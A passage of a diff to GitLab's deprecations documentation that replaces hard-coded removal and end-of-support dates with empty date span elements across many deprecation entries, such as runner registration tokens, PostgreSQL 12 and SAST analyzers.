-Planned removal: GitLab <span class="removal-milestone">16.0</span> (2023-05-22)
+Planned removal: GitLab <span class="removal-milestone">16.0</span> <span class="removal-date"></span>
WARNING:
This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/).
@@ -282,8 +730,8 @@ The `POST ci/lint` API endpoint is deprecated in 15.7, and will be removed in 16
### Configuration fields in GitLab Runner Helm Chart
-End of Support: GitLab <span class="removal-milestone">16.0</span> (2023-05-22)<br />
-Planned removal: GitLab <span class="removal-milestone">16.0</span> (2023-05-22)
+End of Support: GitLab <span class="removal-milestone">16.0</span> <span class="support-end-date"></span><br />
+Planned removal: GitLab <span class="removal-milestone">16.0</span> <span class="removal-date"></span>
WARNING:
This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/).
@@ -297,8 +745,8 @@ From GitLab 13.6, users can [specify any runner configuration in the GitLab Runn
### GitLab Runner registration token in Runner Operator
-End of Support: GitLab <span class="removal-milestone">16.0</span> (2023-05-22)<br />
-Planned removal: GitLab <span class="removal-milestone">17.0</span> (2024-05-22)
+End of Support: GitLab <span class="removal-milestone">16.0</span> <span class="support-end-date"></span><br />
+Planned removal: GitLab <span class="removal-milestone">17.0</span> <span class="removal-date"></span>
WARNING:
This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/).
@@ -312,8 +760,8 @@ The [`runner-registration-token`](https://docs.gitlab.com/runner/install/operato
### Registration tokens and server-side runner arguments in `POST /api/v4/runners` endpoint
-End of Support: GitLab <span class="removal-milestone">16.0</span> (2023-05-22)<br />
-Planned removal: GitLab <span class="removal-milestone">17.0</span> (2024-05-22)
+End of Support: GitLab <span class="removal-milestone">16.0</span> <span class="support-end-date"></span><br />
+Planned removal: GitLab <span class="removal-milestone">17.0</span> <span class="removal-date"></span>
WARNING:
This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/).
@@ -336,8 +784,8 @@ From GitLab 17.0 and later, the runner registration methods implemented by the n
### Registration tokens and server-side runner arguments in `gitlab-runner register` command
-End of Support: GitLab <span class="removal-milestone">16.0</span> (2023-05-22)<br />
-Planned removal: GitLab <span class="removal-milestone">17.0</span> (2024-05-22)
+End of Support: GitLab <span class="removal-milestone">16.0</span> <span class="support-end-date"></span><br />
+Planned removal: GitLab <span class="removal-milestone">17.0</span> <span class="removal-date"></span>
WARNING:
This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/).
@@ -357,8 +805,8 @@ to the `gitlab-runner register` command.
### `runnerRegistrationToken` parameter for GitLab Runner Helm Chart
-End of Support: GitLab <span class="removal-milestone">16.0</span> (2023-05-22)<br />
-Planned removal: GitLab <span class="removal-milestone">17.0</span> (2024-05-22)
+End of Support: GitLab <span class="removal-milestone">16.0</span> <span class="support-end-date"></span><br />
+Planned removal: GitLab <span class="removal-milestone">17.0</span> <span class="removal-date"></span>
WARNING:
This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/).
@@ -378,7 +826,7 @@ From GitLab 17.0 and later, the methods to register runners introduced by the ne
### merge_status API field
-Planned removal: GitLab <span class="removal-milestone">16.0</span> (2023-05-22)
+Planned removal: GitLab <span class="removal-milestone">16.0</span> <span class="removal-date"></span>
WARNING:
This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/).
@@ -397,7 +845,7 @@ The `merge_status` field in the [merge request API](https://docs.gitlab.com/ee/a
### File Type variable expansion in `.gitlab-ci.yml`
-Planned removal: GitLab <span class="removal-milestone">15.7</span> (2022-12-22)
+Planned removal: GitLab <span class="removal-milestone">15.7</span> <span class="removal-date"></span>
WARNING:
This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/).
@@ -413,7 +861,7 @@ This breaking change fixes this issue but could disrupt user workflows that work
### GraphQL field `confidential` changed to `internal` on notes
-Planned removal: GitLab <span class="removal-milestone">16.0</span> (2023-05-22)
+Planned removal: GitLab <span class="removal-milestone">16.0</span> <span class="removal-date"></span>
WARNING:
This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/).
@@ -427,7 +875,7 @@ The `confidential` field for a `Note` will be deprecated and renamed to `interna
### vulnerabilityFindingDismiss GraphQL mutation
-Planned removal: GitLab <span class="removal-milestone">16.0</span> (2023-05-22)
+Planned removal: GitLab <span class="removal-milestone">16.0</span> <span class="removal-date"></span>
WARNING:
This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/).
@@ -446,7 +894,7 @@ The `VulnerabilityFindingDismiss` GraphQL mutation is being deprecated and will
### Container Scanning variables that reference Docker
-Planned removal: GitLab <span class="removal-milestone">16.0</span> (2023-05-22)
+Planned removal: GitLab <span class="removal-milestone">16.0</span> <span class="removal-date"></span>
WARNING:
This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/).
@@ -460,7 +908,7 @@ All Container Scanning variables that are prefixed by `DOCKER_` in variable name
### Non-expiring access tokens
-Planned removal: GitLab <span class="removal-milestone">16.0</span> (2023-05-22)
+Planned removal: GitLab <span class="removal-milestone">16.0</span> <span class="removal-date"></span>
WARNING:
This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/).
@@ -487,7 +935,7 @@ default is applied:
### Starboard directive in the config for the GitLab Agent for Kubernetes
-Planned removal: GitLab <span class="removal-milestone">16.0</span> (2023-05-22)
+Planned removal: GitLab <span class="removal-milestone">16.0</span> <span class="removal-date"></span>
WARNING:
This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/).
@@ -501,7 +949,7 @@ GitLab's operational container scanning capabilities no longer require starboard
### Toggle behavior of `/draft` quick action in merge requests
-Planned removal: GitLab <span class="removal-milestone">16.0</span> (2023-05-22)
+Planned removal: GitLab <span class="removal-milestone">16.0</span> <span class="removal-date"></span>
WARNING:
This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/).
@@ -515,7 +963,7 @@ In order to make the behavior of toggling the draft status of a merge request mo
### Vulnerability confidence field
-Planned removal: GitLab <span class="removal-milestone">16.0</span> (2023-05-22)
+Planned removal: GitLab <span class="removal-milestone">16.0</span> <span class="removal-date"></span>
WARNING:
This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/).
@@ -537,7 +985,7 @@ removed in 16.0.
### Atlassian Crowd OmniAuth provider
-Planned removal: GitLab <span class="removal-milestone">16.0</span> (2023-05-22)
+Planned removal: GitLab <span class="removal-milestone">16.0</span> <span class="removal-date"></span>
WARNING:
This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/).
@@ -554,7 +1002,7 @@ next major release, GitLab 16.0. This gem sees very little use and its
### Bundled Grafana deprecated
-Planned removal: GitLab <span class="removal-milestone">15.4</span> (2022-09-22)
+Planned removal: GitLab <span class="removal-milestone">15.4</span> <span class="removal-date"></span>
In GitLab 15.4, we will be swapping the bundled Grafana to a fork of Grafana maintained by GitLab.
@@ -568,7 +1016,7 @@ This is not expected to cause any incompatibilities with the previous version of
### CAS OmniAuth provider
-Planned removal: GitLab <span class="removal-milestone">16.0</span> (2023-05-22)
+Planned removal: GitLab <span class="removal-milestone">16.0</span> <span class="removal-date"></span>
WARNING:
This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/).
@@ -584,7 +1032,7 @@ release, GitLab 16.0. This gem sees very little use and its lack of upstream mai
### Maximum number of active pipelines per project limit (`ci_active_pipelines`)
-Planned removal: GitLab <span class="removal-milestone">16.0</span> (2023-05-22)
+Planned removal: GitLab <span class="removal-milestone">16.0</span> <span class="removal-date"></span>
The [**Maximum number of active pipelines per project** limit](https://docs.gitlab.com/ee/user/admin_area/settings/continuous_integration.html#set-cicd-limits) was never enabled by default and will be removed in GitLab 16.0. This limit can also be configured in the Rails console under [`ci_active_pipelines`](https://docs.gitlab.com/ee/administration/instance_limits.html#number-of-pipelines-running-concurrently). Instead, use the other recommended rate limits that offer similar protection:
@@ -597,8 +1045,8 @@ The [**Maximum number of active pipelines per project** limit](https://docs.gitl
### Redis 5 deprecated
-End of Support: GitLab <span class="removal-milestone">15.6</span> (2022-11-22)<br />
-Planned removal: GitLab <span class="removal-milestone">16.0</span> (2023-05-22)
+End of Support: GitLab <span class="removal-milestone">15.6</span> <span class="support-end-date"></span><br />
+Planned removal: GitLab <span class="removal-milestone">16.0</span> <span class="removal-date"></span>
WARNING:
This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/).
@@ -614,7 +1062,7 @@ If you are using your own Redis 5.0 instance, you should upgrade it to Redis 6.0
### Security report schemas version 14.x.x
-Planned removal: GitLab <span class="removal-milestone">16.0</span> (2023-05-22)
+Planned removal: GitLab <span class="removal-milestone">16.0</span> <span class="removal-date"></span>
WARNING:
This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/).
@@ -634,7 +1082,7 @@ For more information, refer to [security report validation](https://docs.gitlab.
### Use of `id` field in vulnerabilityFindingDismiss mutation
-Planned removal: GitLab <span class="removal-milestone">16.0</span> (2023-05-22)
+Planned removal: GitLab <span class="removal-milestone">16.0</span> <span class="removal-date"></span>
WARNING:
This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/).
@@ -653,7 +1101,7 @@ You can use the vulnerabilityFindingDismiss GraphQL mutation to set the status o
### Remove `job_age` parameter from `POST /jobs/request` Runner endpoint
-Planned removal: GitLab <span class="removal-milestone">16.0</span> (2023-05-22)
+Planned removal: GitLab <span class="removal-milestone">16.0</span> <span class="removal-date"></span>
WARNING:
This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/).
@@ -674,7 +1122,7 @@ This could be a breaking change for anyone that developed their own runner that
### Jira GitHub Enterprise DVCS integration
-Planned removal: GitLab <span class="removal-milestone">16.0</span> (2023-05-22)
+Planned removal: GitLab <span class="removal-milestone">16.0</span> <span class="removal-date"></span>
WARNING:
This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/).
@@ -689,7 +1137,7 @@ Any Jira Server and Jira Data Center users will need to confirm they are not usi
### PipelineSecurityReportFinding name GraphQL field
-Planned removal: GitLab <span class="removal-milestone">16.0</span> (2023-05-22)
+Planned removal: GitLab <span class="removal-milestone">16.0</span> <span class="removal-date"></span>
WARNING:
This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/).
@@ -703,7 +1151,7 @@ Previously, the [PipelineSecurityReportFinding GraphQL type was updated](https:/
### PipelineSecurityReportFinding projectFingerprint GraphQL field
-Planned removal: GitLab <span class="removal-milestone">16.0</span> (2023-05-22)
+Planned removal: GitLab <span class="removal-milestone">16.0</span> <span class="removal-date"></span>
WARNING:
This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/).
@@ -717,7 +1165,7 @@ The [`project_fingerprint`](https://gitlab.com/groups/gitlab-org/-/epics/2791) a
### REST API Runner maintainer_note
-Planned removal: GitLab <span class="removal-milestone">16.0</span> (2023-05-22)
+Planned removal: GitLab <span class="removal-milestone">16.0</span> <span class="removal-date"></span>
WARNING:
This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/).
@@ -732,7 +1180,7 @@ The `maintainer_note` argument will be removed in GitLab 16.0.
### Vulnerability Report sort by Tool
-Planned removal: GitLab <span class="removal-milestone">15.3</span> (2022-08-22)
+Planned removal: GitLab <span class="removal-milestone">15.3</span> <span class="removal-date"></span>
The ability to sort the Vulnerability Report by the `Tool` column (scan type) was disabled and put behind a feature flag in GitLab 14.10 due to a refactor
of the underlying data model. The feature flag has remained off by default as further refactoring will be required to ensure sorting
@@ -745,7 +1193,7 @@ GitLab 15.3 to simplify the codebase and prevent any unwanted performance degrad
### project.pipeline.securityReportFindings GraphQL query
-Planned removal: GitLab <span class="removal-milestone">16.0</span> (2023-05-22)
+Planned removal: GitLab <span class="removal-milestone">16.0</span> <span class="removal-date"></span>
WARNING:
This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/).
@@ -764,7 +1212,7 @@ Previous work helped [align the vulnerabilities calls for pipeline security tabs
### CiCdSettingsUpdate mutation renamed to ProjectCiCdSettingsUpdate
-Planned removal: GitLab <span class="removal-milestone">16.0</span> (2023-05-22)
+Planned removal: GitLab <span class="removal-milestone">16.0</span> <span class="removal-date"></span>
WARNING:
This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/).
@@ -781,7 +1229,7 @@ instead.
### GraphQL API legacyMode argument for Runner status
-Planned removal: GitLab <span class="removal-milestone">16.0</span> (2023-05-22)
+Planned removal: GitLab <span class="removal-milestone">16.0</span> <span class="removal-date"></span>
WARNING:
This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/).
@@ -800,7 +1248,7 @@ be present during the 16.x cycle to avoid breaking the API signature, and will b
### PostgreSQL 12 deprecated
-Planned removal: GitLab <span class="removal-milestone">16.0</span> (2023-05-22)
+Planned removal: GitLab <span class="removal-milestone">16.0</span> <span class="removal-date"></span>
WARNING:
This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/).
@@ -820,7 +1268,7 @@ Upgrading to PostgreSQL 13 is not yet supported for GitLab instances with Geo en
### Vulnerability Report sort by State
-Planned removal: GitLab <span class="removal-milestone">15.3</span> (2022-08-22)
+Planned removal: GitLab <span class="removal-milestone">15.3</span> <span class="removal-date"></span>
The ability to sort the Vulnerability Report by the `State` column was disabled and put behind a feature flag in GitLab 14.10 due to a refactor
of the underlying data model. The feature flag has remained off by default as further refactoring will be required to ensure sorting
@@ -837,7 +1285,7 @@ by this value remains performant. Due to very low usage of the `State` column fo
### Dependency Scanning default Java version changed to 17
-Planned removal: GitLab <span class="removal-milestone">15.0</span> (2022-05-22)
+Planned removal: GitLab <span class="removal-milestone">15.0</span> <span class="removal-date"></span>
WARNING:
This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/).
@@ -851,7 +1299,7 @@ In GitLab 15.0, for Dependency Scanning, the default version of Java that the sc
### Outdated indices of Advanced Search migrations
-Planned removal: GitLab <span class="removal-milestone">15.0</span> (2022-05-22)
+Planned removal: GitLab <span class="removal-milestone">15.0</span> <span class="removal-date"></span>
WARNING:
This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/).
@@ -865,7 +1313,7 @@ As Advanced Search migrations usually require support multiple code paths for a
### Toggle notes confidentiality on APIs
-Planned removal: GitLab <span class="removal-milestone">16.0</span> (2023-05-22)
+Planned removal: GitLab <span class="removal-milestone">16.0</span> <span class="removal-date"></span>
WARNING:
This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/).
@@ -884,7 +1332,7 @@ Toggling notes confidentiality with REST and GraphQL APIs is being deprecated. U
### Background upload for object storage
-Planned removal: GitLab <span class="removal-milestone">15.0</span> (2022-05-22)
+Planned removal: GitLab <span class="removal-milestone">15.0</span> <span class="removal-date"></span>
WARNING:
This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/).
@@ -905,7 +1353,7 @@ GitLab will publish additional guidance to assist affected customers in migratin
### Deprecate support for Debian 9
-Planned removal: GitLab <span class="removal-milestone">15.1</span> (2022-06-22)
+Planned removal: GitLab <span class="removal-milestone">15.1</span> <span class="removal-date"></span>
Long term service and support (LTSS) for [Debian 9 Stretch ends in July 2022](https://wiki.debian.org/LTS). Therefore, we will no longer support the Debian 9 distribution for the GitLab package. Users can upgrade to Debian 10 or Debian 11.
@@ -915,7 +1363,7 @@ Long term service and support (LTSS) for [Debian 9 Stretch ends in July 2022](ht
### GitLab Pages running as daemon
-Planned removal: GitLab <span class="removal-milestone">15.0</span> (2022-05-22)
+Planned removal: GitLab <span class="removal-milestone">15.0</span> <span class="removal-date"></span>
In 15.0, support for daemon mode for GitLab Pages will be removed.
@@ -925,7 +1373,7 @@ In 15.0, support for daemon mode for GitLab Pages will be removed.
### GitLab self-monitoring project
-Planned removal: GitLab <span class="removal-milestone">16.0</span> (2023-05-22)
+Planned removal: GitLab <span class="removal-milestone">16.0</span> <span class="removal-date"></span>
WARNING:
This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/).
@@ -939,7 +1387,7 @@ GitLab self-monitoring gives administrators of self-hosted GitLab instances the
### GraphQL permissions change for Package settings
-Planned removal: GitLab <span class="removal-milestone">15.0</span> (2022-05-22)
+Planned removal: GitLab <span class="removal-milestone">15.0</span> <span class="removal-date"></span>
WARNING:
This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/).
@@ -960,7 +1408,7 @@ The permissions model for GraphQL is being updated. After 15.0, users with the G
### Move `custom_hooks_dir` setting from GitLab Shell to Gitaly
-Planned removal: GitLab <span class="removal-milestone">15.0</span> (2022-05-22)
+Planned removal: GitLab <span class="removal-milestone">15.0</span> <span class="removal-date"></span>
The [`custom_hooks_dir`](https://docs.gitlab.com/ee/administration/server_hooks.html#create-a-global-server-hook-for-all-repositories) setting is now configured in Gitaly, and will be removed from GitLab Shell in GitLab 15.0.
@@ -970,7 +1418,7 @@ The [`custom_hooks_dir`](https://docs.gitlab.com/ee/administration/server_hooks.
### Permissions change for downloading Composer dependencies
-Planned removal: GitLab <span class="removal-milestone">14.10</span> (2022-04-22)
+Planned removal: GitLab <span class="removal-milestone">14.10</span> <span class="removal-date"></span>
WARNING:
This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/).
@@ -986,7 +1434,7 @@ Downloading Composer dependencies without authentication is deprecated in GitLab
### htpasswd Authentication for the Container Registry
-Planned removal: GitLab <span class="removal-milestone">15.0</span> (2022-05-22)
+Planned removal: GitLab <span class="removal-milestone">15.0</span> <span class="removal-date"></span>
WARNING:
This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/).
@@ -1002,7 +1450,7 @@ Since it isn't used in the context of GitLab (the product), `htpasswd` authentic
### user_email_lookup_limit API field
-Planned removal: GitLab <span class="removal-milestone">15.0</span> (2022-05-22)
+Planned removal: GitLab <span class="removal-milestone">15.0</span> <span class="removal-date"></span>
WARNING:
This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/).
@@ -1023,7 +1471,7 @@ Any API calls attempting to change the rate limits for `user_email_lookup_limit`
### Configurable Gitaly `per_repository` election strategy
-Planned removal: GitLab <span class="removal-milestone">14.9</span> (2022-03-22)
+Planned removal: GitLab <span class="removal-milestone">14.9</span> <span class="removal-date"></span>
Configuring the `per_repository` Gitaly election strategy is [deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/352612).
`per_repository` has been the only option since GitLab 14.0.
@@ -1036,7 +1484,7 @@ This change is part of regular maintenance to keep our codebase clean.
### Container Network and Host Security
-Planned removal: GitLab <span class="removal-milestone">15.0</span> (2022-05-22)
+Planned removal: GitLab <span class="removal-milestone">15.0</span> <span class="removal-date"></span>
WARNING:
This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/).
@@ -1059,7 +1507,7 @@ For additional context, or to provide feedback regarding this change, please ref
### Dependency Scanning Python 3.9 and 3.6 image deprecation
-Planned removal: GitLab <span class="removal-milestone">15.0</span> (2022-05-22)
+Planned removal: GitLab <span class="removal-milestone">15.0</span> <span class="removal-date"></span>
WARNING:
This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/).
@@ -1091,7 +1539,7 @@ gemnasium-python-dependency_scanning:
### Deprecate Geo Admin UI Routes
-Planned removal: GitLab <span class="removal-milestone">15.0</span> (2022-05-22)
+Planned removal: GitLab <span class="removal-milestone">15.0</span> <span class="removal-date"></span>
In GitLab 13.0, we introduced new project and design replication details routes in the Geo Admin UI. These routes are `/admin/geo/replication/projects` and `/admin/geo/replication/designs`. We kept the legacy routes and redirected them to the new routes. In GitLab 15.0, we will remove support for the legacy routes `/admin/geo/projects` and `/admin/geo/designs`. Please update any bookmarks or scripts that may use the legacy routes.
@@ -1101,7 +1549,7 @@ In GitLab 13.0, we introduced new project and design replication details routes
### Deprecate custom Geo:db:* Rake tasks
-Planned removal: GitLab <span class="removal-milestone">15.0</span> (2022-05-22)
+Planned removal: GitLab <span class="removal-milestone">15.0</span> <span class="removal-date"></span>
In GitLab 14.8, we are [replacing the `geo:db:*` Rake tasks with built-in tasks](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/77269/diffs) that are now possible after [switching the Geo tracking database to use Rails' 6 support of multiple databases](https://gitlab.com/groups/gitlab-org/-/epics/6458).
The following `geo:db:*` tasks will be replaced with their corresponding `db:*:geo` tasks:
@@ -1130,7 +1578,7 @@ The following `geo:db:*` tasks will be replaced with their corresponding `db:*:g
### Deprecate feature flag PUSH_RULES_SUPERSEDE_CODE_OWNERS
-Planned removal: GitLab <span class="removal-milestone">15.0</span> (2022-05-22)
+Planned removal: GitLab <span class="removal-milestone">15.0</span> <span class="removal-date"></span>
WARNING:
This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/).
@@ -1144,7 +1592,7 @@ The feature flag `PUSH_RULES_SUPERSEDE_CODE_OWNERS` is being removed in GitLab 1
### Deprecate legacy Gitaly configuration methods
-Planned removal: GitLab <span class="removal-milestone">15.0</span> (2022-05-22)
+Planned removal: GitLab <span class="removal-milestone">15.0</span> <span class="removal-date"></span>
WARNING:
This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/).
@@ -1162,7 +1610,7 @@ GitLab instances that use `GIT_CONFIG_SYSTEM` and `GIT_CONFIG_GLOBAL` to configu
### Elasticsearch 6.8
-Planned removal: GitLab <span class="removal-milestone">15.0</span> (2022-05-22)
+Planned removal: GitLab <span class="removal-milestone">15.0</span> <span class="removal-date"></span>
WARNING:
This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/).
@@ -1180,7 +1628,7 @@ Elasticsearch 6.8 is also incompatible with Amazon OpenSearch, which we [plan to
### External status check API breaking changes
-Planned removal: GitLab <span class="removal-milestone">15.0</span> (2022-05-22)
+Planned removal: GitLab <span class="removal-milestone">15.0</span> <span class="removal-date"></span>
WARNING:
This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/).
@@ -1208,7 +1656,7 @@ To align with this change, API calls to list external status checks will also re
### GraphQL API Runner will not accept `status` filter values of `active` or `paused`
-Planned removal: GitLab <span class="removal-milestone">16.0</span> (2023-05-22)
+Planned removal: GitLab <span class="removal-milestone">16.0</span> <span class="removal-date"></span>
WARNING:
This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/).
@@ -1231,7 +1679,7 @@ status value can be used in place of `active` since GitLab 14.8.
### GraphQL ID and GlobalID compatibility
-Planned removal: GitLab <span class="removal-milestone">15.0</span> (2022-05-22)
+Planned removal: GitLab <span class="removal-milestone">15.0</span> <span class="removal-date"></span>
WARNING:
This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/).
@@ -1295,7 +1743,7 @@ an inline argument expression).
### OAuth tokens without expiration
-Planned removal: GitLab <span class="removal-milestone">15.0</span> (2022-05-22)
+Planned removal: GitLab <span class="removal-milestone">15.0</span> <span class="removal-date"></span>
WARNING:
This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/).
@@ -1317,7 +1765,7 @@ tokens before GitLab 15.0 is released:
### Optional enforcement of PAT expiration
-Planned removal: GitLab <span class="removal-milestone">15.0</span> (2022-05-22)
+Planned removal: GitLab <span class="removal-milestone">15.0</span> <span class="removal-date"></span>
WARNING:
This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/).
@@ -1333,7 +1781,7 @@ Unexpected behavior in a security feature is inherently dangerous, so we have de
### Optional enforcement of SSH expiration
-Planned removal: GitLab <span class="removal-milestone">15.0</span> (2022-05-22)
+Planned removal: GitLab <span class="removal-milestone">15.0</span> <span class="removal-date"></span>
WARNING:
This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/).
@@ -1349,7 +1797,7 @@ Unexpected behavior in a security feature is inherently dangerous, so we have de
### Out-of-the-box SAST support for Java 8
-Planned removal: GitLab <span class="removal-milestone">15.0</span> (2022-05-22)
+Planned removal: GitLab <span class="removal-milestone">15.0</span> <span class="removal-date"></span>
WARNING:
This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/).
@@ -1374,7 +1822,7 @@ If you rely on Java 8 being present in the analyzer environment, you must take a
### Querying Usage Trends via the `instanceStatisticsMeasurements` GraphQL node
-Planned removal: GitLab <span class="removal-milestone">15.0</span> (2022-05-22)
+Planned removal: GitLab <span class="removal-milestone">15.0</span> <span class="removal-date"></span>
WARNING:
This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/).
@@ -1388,7 +1836,7 @@ The `instanceStatisticsMeasurements` GraphQL node has been renamed to `usageTren
### REST and GraphQL API Runner usage of `active` replaced by `paused`
-Planned removal: GitLab <span class="removal-milestone">16.0</span> (2023-05-22)
+Planned removal: GitLab <span class="removal-milestone">16.0</span> <span class="removal-date"></span>
WARNING:
This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/).
@@ -1419,7 +1867,7 @@ The 16.0 release of GitLab Runner will start using the `paused` property when re
### Request profiling
-Planned removal: GitLab <span class="removal-milestone">15.0</span> (2022-05-22)
+Planned removal: GitLab <span class="removal-milestone">15.0</span> <span class="removal-date"></span>
WARNING:
This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/).
@@ -1439,7 +1887,7 @@ For more information, check the [summary section of the deprecation issue](https
### Required pipeline configurations in Premium tier
-Planned removal: GitLab <span class="removal-milestone">15.0</span> (2022-05-22)
+Planned removal: GitLab <span class="removal-milestone">15.0</span> <span class="removal-date"></span>
WARNING:
This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/).
@@ -1458,7 +1906,7 @@ This change will also help GitLab remain consistent in its tiering strategy with
### Retire-JS Dependency Scanning tool
-Planned removal: GitLab <span class="removal-milestone">15.0</span> (2022-05-22)
+Planned removal: GitLab <span class="removal-milestone">15.0</span> <span class="removal-date"></span>
WARNING:
This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/).
@@ -1474,7 +1922,7 @@ If you have explicitly excluded retire.js using DS_EXCLUDED_ANALYZERS you will n
### SAST analyzer consolidation and CI/CD template changes
-Planned removal: GitLab <span class="removal-milestone">15.4</span> (2022-09-22)
+Planned removal: GitLab <span class="removal-milestone">15.4</span> <span class="removal-date"></span>
WARNING:
This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/).
@@ -1519,7 +1967,7 @@ If you applied customizations to any of the affected analyzers or if you current
### SAST support for .NET 2.1
-Planned removal: GitLab <span class="removal-milestone">15.0</span> (2022-05-22)
+Planned removal: GitLab <span class="removal-milestone">15.0</span> <span class="removal-date"></span>
WARNING:
This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/).
@@ -1551,7 +1999,7 @@ If you rely on .NET 2.1 support being present in the analyzer image by default,
### Secret Detection configuration variables deprecated
-Planned removal: GitLab <span class="removal-milestone">15.0</span> (2022-05-22)
+Planned removal: GitLab <span class="removal-milestone">15.0</span> <span class="removal-date"></span>
To make it simpler and more reliable to [customize GitLab Secret Detection](https://docs.gitlab.com/ee/user/application_security/secret_detection/#customizing-settings), we're deprecating some of the variables that you could previously set in your CI/CD configuration.
@@ -1576,7 +2024,7 @@ For further details, see [the deprecation issue for this change](https://gitlab.
### Secure and Protect analyzer images published in new location
-Planned removal: GitLab <span class="removal-milestone">15.0</span> (2022-05-22)
+Planned removal: GitLab <span class="removal-milestone">15.0</span> <span class="removal-date"></span>
WARNING:
This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/).
@@ -1604,7 +2052,7 @@ See the [deprecation issue](https://gitlab.com/gitlab-org/gitlab/-/issues/352564
### Secure and Protect analyzer major version update
-Planned removal: GitLab <span class="removal-milestone">15.0</span> (2022-05-22)
+Planned removal: GitLab <span class="removal-milestone">15.0</span> <span class="removal-date"></span>
WARNING:
This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/).
@@ -1649,7 +2097,7 @@ Specifically, the following are being deprecated and will no longer be updated a
### Support for gRPC-aware proxy deployed between Gitaly and rest of GitLab
-Planned removal: GitLab <span class="removal-milestone">15.0</span> (2022-05-22)
+Planned removal: GitLab <span class="removal-milestone">15.0</span> <span class="removal-date"></span>
WARNING:
This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/).
@@ -1673,7 +2121,7 @@ the [relevant epic](https://gitlab.com/groups/gitlab-com/gl-infra/-/epics/463).
### Test coverage project CI/CD setting
-Planned removal: GitLab <span class="removal-milestone">15.0</span> (2022-05-22)
+Planned removal: GitLab <span class="removal-milestone">15.0</span> <span class="removal-date"></span>
WARNING:
This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/).
@@ -1692,7 +2140,7 @@ testing coverage results in merge requests.
### Vulnerability Check
-Planned removal: GitLab <span class="removal-milestone">15.0</span> (2022-05-22)
+Planned removal: GitLab <span class="removal-milestone">15.0</span> <span class="removal-date"></span>
WARNING:
This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/).
@@ -1713,7 +2161,7 @@ The new security approvals feature is similar to vulnerability check. For exampl
### `CI_BUILD_*` predefined variables
-Planned removal: GitLab <span class="removal-milestone">16.0</span> (2023-05-22)
+Planned removal: GitLab <span class="removal-milestone">16.0</span> <span class="removal-date"></span>
WARNING:
This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/).
@@ -1742,7 +2190,7 @@ The predefined CI/CD variables that start with `CI_BUILD_*` were deprecated in G
### `projectFingerprint` in `PipelineSecurityReportFinding` GraphQL
-Planned removal: GitLab <span class="removal-milestone">15.0</span> (2022-05-22)
+Planned removal: GitLab <span class="removal-milestone">15.0</span> <span class="removal-date"></span>
WARNING:
